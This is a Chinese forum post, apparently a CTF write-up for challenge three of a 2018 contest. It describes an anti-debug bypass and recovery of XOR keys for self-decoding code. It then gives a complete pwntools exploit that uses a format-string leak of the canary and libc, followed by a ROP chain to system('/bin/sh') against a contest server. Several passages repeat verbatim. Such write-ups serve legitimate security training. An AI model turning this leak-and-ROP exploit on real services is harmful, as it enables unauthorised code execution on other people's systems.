-
-
[原创]CTF2018第三题writeup
-
发表于: 2018-6-22 10:34 2925
-
0x65-0x4008c4
0x13-0x40090b
0x4b-0x400952
0x25-0x400999
0x44-0x4009d7
使用ptrace来反调,发现调试就退出,直接nop掉即可
过反调之后就是自解码了,自解码的key为6字节,可控,整段shellcode的中部丢失,观察头部解密代码.
.text:0000000000400866 L1_64: ; CODE XREF: .text:0000000000400878↓j .text:0000000000400866 ; .text:000000000040087D↓j .text:0000000000400866 8A 1C 08 mov bl, [rax+rcx] .text:0000000000400869 30 D3 xor bl, dl .text:000000000040086B 88 1C 08 mov [rax+rcx], bl .text:000000000040086E 8A 74 08 FF mov dh, [rax+rcx-1] .text:0000000000400872 48 FF C1 inc rcx .text:0000000000400875 80 FE FB cmp dh, 0FBh .text:0000000000400878 74 EC jz short L1_64 .text:000000000040087A 80 FB 90 cmp bl, 90h .text:000000000040087D 75 E7 jnz short L1_64
头部使用key[0]进行xor解密,当最后一个解密字符为0x90且倒数第二个不为0xFB时结束解密.单个解码key有0xFF种可能,因此我们猜测后续解密也使用了固定的结构,也就是使用了cmp bl,90h.
def find(start, end): for key in range(0,0xFF): for addr in range(start, end): if Byte(addr)^key == 0xFB and Byte(addr+1)^key == 0x90: print hex(key) print hex(addr) find(0x40087F, 0x400A73)
可以得出5个key
0x65-0x4008c4
0x13-0x40090b
0x4b-0x400952
0x25-0x400999
0x44-0x4009d7
进行解码def Decode(start, end, key): for addr in range(start, end): PatchByte(addr, Byte(addr)^key)
发现解码后的数据段之间还存在未解码的数据,结合解密的终止条件,猜测最后一个字符应该为nop,因此扩大地址重新进行解密.
观察第五段解密代码,发现以0x90结尾,因此最后一个key是0xF
.text:00000000004009CB L6_64: ; CODE XREF: .text:00000000004009D9↓j .text:00000000004009CB 8A 1C 08 mov bl, [rax+rcx] .text:00000000004009CE 30 D3 xor bl, dl .text:00000000004009D0 88 1C 08 mov [rax+rcx], bl .text:00000000004009D3 48 FF C1 inc rcx .text:00000000004009D6 80 FB 90 cmp bl, 90h .text:00000000004009D9 75 F0 jnz short L6_64 .text:00000000004009DB 90 nop
6个解密key为0x65 0x13 0x4b 0x25 0x44 0x0F
但是这6个key并不是我们输入的key,因此key与key之间还有xor运算.
因此最后的输入为evXnaK
3.溢出
观察解密后的shellcode,发现存在栈溢出和printf漏洞.
printf的参数可控,大小为0x1A,因此可以用来泄露canary(%13$p)和lic_start_main
(%15$p)
的地址
由于开启了libc.so的PIE,所以要使用rop来调用system,rop需要寻找pop rdi,ret.system地址,/bin/sh地址
终上所述,exp如下:
from pwn import * context.log_level = 'debug' libc = ELF('libc-2.23.so') symbol_libc_start_main = libc.symbols['__libc_start_main'] symbol_system = libc.symbols['system'] symbol_pop_rdi_ret = 0x21102 symbol_bin_sh = 0x18CD57 offset__system = symbol_libc_start_main - symbol_system offset_pop_rdi_ret = symbol_libc_start_main - symbol_pop_rdi_ret offset_bin_sh = symbol_libc_start_main - symbol_bin_sh #p=process('./wow_modify') p=remote('139.199.99.130', 65188) print(p.recv()) p.sendline('evXnaK-%13$p-%15$p-') p.recvuntil('-') canary = int(p.recvuntil('-')[:-1],16) libc_start_main = int(p.recvuntil('-')[:-1],16)-0xF0 print hex(libc_start_main) print hex(libc_start_main-offset_pop_rdi_ret) print hex(libc_start_main-offset__system) payload = 'A'*0x58+p64(canary)+'B'*8+p64(libc_start_main-offset_pop_rdi_ret)+p64(libc_start_main-offset_bin_sh)+p64(libc_start_main-offset__system) p.sendline(payload) p.recv() p.interactive()
运行ls -l,发现flag.txt,然后cat下
flag:572416a82fa298b09b87f733d5483ba51
.text:0000000000400866 L1_64: ; CODE XREF: .text:0000000000400878↓j .text:0000000000400866 ; .text:000000000040087D↓j .text:0000000000400866 8A 1C 08 mov bl, [rax+rcx] .text:0000000000400869 30 D3 xor bl, dl .text:000000000040086B 88 1C 08 mov [rax+rcx], bl .text:000000000040086E 8A 74 08 FF mov dh, [rax+rcx-1] .text:0000000000400872 48 FF C1 inc rcx .text:0000000000400875 80 FE FB cmp dh, 0FBh .text:0000000000400878 74 EC jz short L1_64 .text:000000000040087A 80 FB 90 cmp bl, 90h .text:000000000040087D 75 E7 jnz short L1_64
头部使用key[0]进行xor解密,当最后一个解密字符为0x90且倒数第二个不为0xFB时结束解密.单个解码key有0xFF种可能,因此我们猜测后续解密也使用了固定的结构,也就是使用了cmp bl,90h.
def find(start, end): for key in range(0,0xFF): for addr in range(start, end): if Byte(addr)^key == 0xFB and Byte(addr+1)^key == 0x90: print hex(key) print hex(addr) find(0x40087F, 0x400A73)
可以得出5个key
def find(start, end): for key in range(0,0xFF): for addr in range(start, end): if Byte(addr)^key == 0xFB and Byte(addr+1)^key == 0x90: print hex(key) print hex(addr) find(0x40087F, 0x400A73)
可以得出5个key
0x65-0x4008c4
0x13-0x40090b
0x4b-0x400952
0x25-0x400999
0x44-0x4009d7
进行解码def Decode(start, end, key): for addr in range(start, end): PatchByte(addr, Byte(addr)^key)
发现解码后的数据段之间还存在未解码的数据,结合解密的终止条件,猜测最后一个字符应该为nop,因此扩大地址重新进行解密.
def Decode(start, end, key): for addr in range(start, end): PatchByte(addr, Byte(addr)^key)
发现解码后的数据段之间还存在未解码的数据,结合解密的终止条件,猜测最后一个字符应该为nop,因此扩大地址重新进行解密.
观察第五段解密代码,发现以0x90结尾,因此最后一个key是0xF
.text:00000000004009CB L6_64: ; CODE XREF: .text:00000000004009D9↓j .text:00000000004009CB 8A 1C 08 mov bl, [rax+rcx] .text:00000000004009CE 30 D3 xor bl, dl .text:00000000004009D0 88 1C 08 mov [rax+rcx], bl .text:00000000004009D3 48 FF C1 inc rcx .text:00000000004009D6 80 FB 90 cmp bl, 90h .text:00000000004009D9 75 F0 jnz short L6_64 .text:00000000004009DB 90 nop
6个解密key为0x65 0x13 0x4b 0x25 0x44 0x0F
.text:00000000004009CB L6_64: ; CODE XREF: .text:00000000004009D9↓j .text:00000000004009CB 8A 1C 08 mov bl, [rax+rcx] .text:00000000004009CE 30 D3 xor bl, dl .text:00000000004009D0 88 1C 08 mov [rax+rcx], bl .text:00000000004009D3 48 FF C1 inc rcx .text:00000000004009D6 80 FB 90 cmp bl, 90h .text:00000000004009D9 75 F0 jnz short L6_64 .text:00000000004009DB 90 nop
6个解密key为0x65 0x13 0x4b 0x25 0x44 0x0F
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
赞赏
他的文章
- [原创]CTF2018第六题writeup 3694
- [原创]CTF2018第三题writeup 2926
- [原创]CTF2018第二题writeup 2179
- [原创]CTF2017秋季赛第二题解法 2856
- [原创]第一题 Helllo-CTF 1858
看原图
赞赏
雪币:
留言: